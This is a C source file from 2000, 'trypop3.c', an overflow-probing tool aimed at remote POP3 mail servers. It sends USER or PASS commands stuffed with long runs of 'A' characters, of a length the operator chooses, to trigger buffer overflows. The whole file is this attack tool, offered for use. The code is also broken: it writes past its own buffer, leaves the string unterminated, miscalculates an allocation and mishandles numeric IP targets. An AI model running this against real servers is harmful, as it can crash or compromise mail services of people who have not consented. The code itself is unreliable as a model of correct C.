/*
 * Little program to check remote POP3 servers
 * (c) 2000 - missnglnk <missnglnk@tribune.intranova.net>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/param.h>

#define METHOD_USERNAME 0xdead
#define METHOD_PASSWORD 0xbeef

extern int errno;
extern int h_errno;

void usage(void)
{
  printf("\ntrypop3.c\n");
  printf("=========\n");
  printf("Tries different overflows against a remote pop3 daemon.\n");
  printf("missnglnk@tribune.intranova.net\n");
  printf("Usage: [-m method] [-l length] [-t target] [-p port]\n");
  printf("Available Methods:\n");
  printf("\t* username\n");
  printf("\t* password\n\n");
  exit(-1);
}

int main(int argc, char **argv)
{
  int args;
  int sock;
  int port = 0;
  int i;
  int method;
  int methodlen;
  char *target;
  unsigned long ip;
  struct hostent *he;
  struct sockaddr_in sin;
  struct servent *se;
  struct in_addr *inp;
  char *attempt;
  char *sndbuf;
  char rcvbuf[1024];

  if (argc < 2) {
    usage();
  }

  while((args = getopt(argc, argv, "m:l:t:p:")) != EOF) {
    switch(args) {
      case 'm':
        if (strcmp(optarg, "username") == 0) {
          method = METHOD_USERNAME;
        } else if (strcmp(optarg, "password") == 0) {
          method = METHOD_PASSWORD;
        } else {
          printf("Unknown method. Either username or password.\n");
          return -1;
        }
        break;
      case 'l':
        methodlen = atoi(optarg);
        break;
      case 't':
        if (strlen(optarg) > MAXHOSTNAMELEN) {
          printf("Target name too long.\n");
          return -1;
        } else {
          target = optarg;
        }
        break;
      case 'p':
        port = atoi(optarg);
        break;
      case '?':
      default:
        usage();
        break;
    }
  }

  argc -= optind;
  argv += optind;

  printf("Resolving %s...", target);
  if (inet_addr(target) != -1) {
    inp = (struct in_addr *)target;
  } else {
    if ((he = gethostbyname(target)) != NULL) {
      inp = (struct in_addr *)he->h_addr;
    } else {
      printf("Error (gethostbyname): %s\n", hstrerror(h_errno));
      return -1;
    }
  }
  printf("%s\n", inet_ntoa(*inp));

  if (port <= 0) {
    if ((se = getservbyname("pop-3", "tcp")) == NULL) {
      printf("Error (getservbyname): %s\n", strerror(errno));
      return -1;
    } else {
      port = ntohs(se->s_port);
    }
  }

  if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
    printf("Error (socket): %s\n", strerror(errno));
    return -1;
  }

  bzero(&sin, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr = *inp;
  sin.sin_port = htons(port);

  printf("Connecting to %s:%d...", inet_ntoa(*inp), port);
  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
    printf("Error (connect): %s\n", strerror(errno));
    return -1;
  }
  printf("Connected.\n");

  if ((attempt = malloc(methodlen)) == NULL) {
    printf("Error (malloc): %s\n", strerror(errno));
    return -1;
  }

  if ((sndbuf = malloc(methodlen) + 16) == NULL) {
    printf("Error (malloc): %s\n", strerror(errno));
    return -1;
  }

  for (i = 0; i <= methodlen; i++) {
    attempt[i] = 'A';
  }

  bzero(rcvbuf, sizeof(rcvbuf));
  if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
    printf("Error (read): %s\n", strerror(errno));
    return -1;
  }

  printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
  if (strstr(rcvbuf, "+OK") == NULL) {
    return -1;
  }
  bzero(rcvbuf, sizeof(rcvbuf));

  switch(method) {
    case METHOD_USERNAME:
      snprintf(sndbuf, methodlen + 16, "USER %s\n", attempt);
      if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
        printf("Error (write): %s\n", strerror(errno));
        return -1;
      }
      printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
      bzero(sndbuf, methodlen + 16);
      bzero(rcvbuf, sizeof(rcvbuf));
      if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
        printf("Error (read): %s\n", strerror(errno));
        return -1;
      }

      printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
      if (strstr(rcvbuf, "+OK") == NULL) {
        snprintf(sndbuf, methodlen + 16, "QUIT\n");
        if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
          printf("Error (write): %s\n", strerror(errno));
          return -1;
        }
        printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
        bzero(sndbuf, methodlen + 16);
        bzero(rcvbuf, sizeof(rcvbuf));
        if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
          printf("Error (read): %s\n", strerror(errno));
          return -1;
        }

        printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
        return -1;
      }

      bzero(rcvbuf, sizeof(rcvbuf));

      snprintf(sndbuf, methodlen + 16, "PASS http://tribune.intranova.net\n");
      if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
        printf("Error (write): %s\n", strerror(errno));
        return -1;
      }
      printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
      bzero(sndbuf, methodlen + 16);
      bzero(rcvbuf, sizeof(rcvbuf));
      if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
        printf("Error (read): %s\n", strerror(errno));
        return -1;
      }
      printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);

      if (strstr(rcvbuf, "+OK") == NULL) {
        snprintf(sndbuf, methodlen + 16, "QUIT\n");
        if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
          printf("Error (write): %s\n", strerror(errno));
          return -1;
        }
        printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
        bzero(sndbuf, methodlen + 16);
        bzero(rcvbuf, sizeof(rcvbuf));
        if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
          printf("Error (read): %s\n", strerror(errno));
          return -1;
        }

        printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
        return -1;
      }

      snprintf(sndbuf, methodlen + 16, "QUIT\n");
      if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
        printf("Error (write): %s\n", strerror(errno));
        return -1;
      }
      printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
      bzero(sndbuf, methodlen + 16);
      bzero(rcvbuf, sizeof(rcvbuf));
      if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
        printf("Error (read): %s\n", strerror(errno));
        return -1;
      }

      printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
      bzero(rcvbuf, sizeof(rcvbuf));
      break;
  
    case METHOD_PASSWORD:
      snprintf(sndbuf, methodlen + 16, "USER http://tribune.intranova.net\n");
      if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
        printf("Error (write): %s\n", strerror(errno));
        return -1;
      }
      printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
      bzero(sndbuf, methodlen + 16);
      bzero(rcvbuf, sizeof(rcvbuf));
      if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
        printf("Error (read): %s\n", strerror(errno));
        return -1;
      }

      if (strstr(rcvbuf, "+OK") == NULL) {
        snprintf(sndbuf, methodlen + 16, "QUIT\n");
        if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
          printf("Error (write): %s\n", strerror(errno));
          return -1;
        }
        printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
        bzero(sndbuf, methodlen + 16);
        bzero(rcvbuf, sizeof(rcvbuf));
        if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
          printf("Error (read): %s\n", strerror(errno));
          return -1;
        }

        printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
        return -1;
      }

      printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
      bzero(rcvbuf, sizeof(rcvbuf));

      snprintf(sndbuf, methodlen + 16, "PASS %s\n", attempt);
      if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
        printf("Error (write): %s\n", strerror(errno));
        return -1;
      }
      printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
      bzero(rcvbuf, sizeof(rcvbuf));
      if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
        printf("Error (read): %s\n", strerror(errno));
        return -1;
      }

      printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
      if (strstr(rcvbuf, "+OK") == NULL) {
        snprintf(sndbuf, methodlen + 16, "QUIT\n");
        if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
          printf("Error (write): %s\n", strerror(errno));
          return -1;
        }
        printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
        bzero(sndbuf, methodlen + 16);

        bzero(rcvbuf, sizeof(rcvbuf));
        if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
          printf("Error (read): %s\n", strerror(errno));
          return -1;
        }

        printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
        return -1;
      }

      snprintf(sndbuf, methodlen + 16, "QUIT\n");
      if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
        printf("Error (write): %s\n", strerror(errno));
        return -1;
      }
      printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
      bzero(sndbuf, methodlen + 16);

      bzero(rcvbuf, sizeof(rcvbuf));
      if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
        printf("Error (read): %s\n", strerror(errno));
        return -1;
      }

      printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
      bzero(rcvbuf, sizeof(rcvbuf));
      break;
    default:
      printf("Why are you here?\n");
      return -1;
  }

  if (close(sock) < 0) {
    printf("Error (close): %s\n", strerror(errno));
    return -1;
  }

  free(attempt);
  return 0;
}